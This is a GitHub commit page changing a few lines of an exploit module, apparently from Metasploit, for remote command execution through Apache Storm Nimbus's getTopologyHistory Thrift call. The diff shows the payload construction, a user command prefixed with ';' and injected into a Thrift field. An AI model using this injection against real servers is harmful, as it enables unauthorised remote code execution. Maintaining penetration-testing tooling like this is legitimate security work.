Skip to content

Commit

Permalink
Update nimbus_gettopologyhistory_cmd_exec
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Sep 12, 2023
1 parent 187cca8 commit 8e8b8ad
Showing 1 changed file with 3 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -118,10 +118,10 @@ def execute_command(cmd, opts = {})
cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}"
vprint_status("Executing command: #{cmd}")

@thrift_client.call_raw(
@thrift_client.call(
'getTopologyHistory',
Thrift::ThriftData.new(data_type: Thrift::ThriftDataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"),
Thrift::ThriftData.new,
Thrift::ThriftData.utf7(1, ";#{cmd}"),
Thrift::ThriftData.stop,
timeout: opts.fetch(:timeout, datastore['ThriftTimeout'])
)
rescue Rex::TimeoutError
Expand Down

0 comments on commit 8e8b8ad

Please sign in to comment.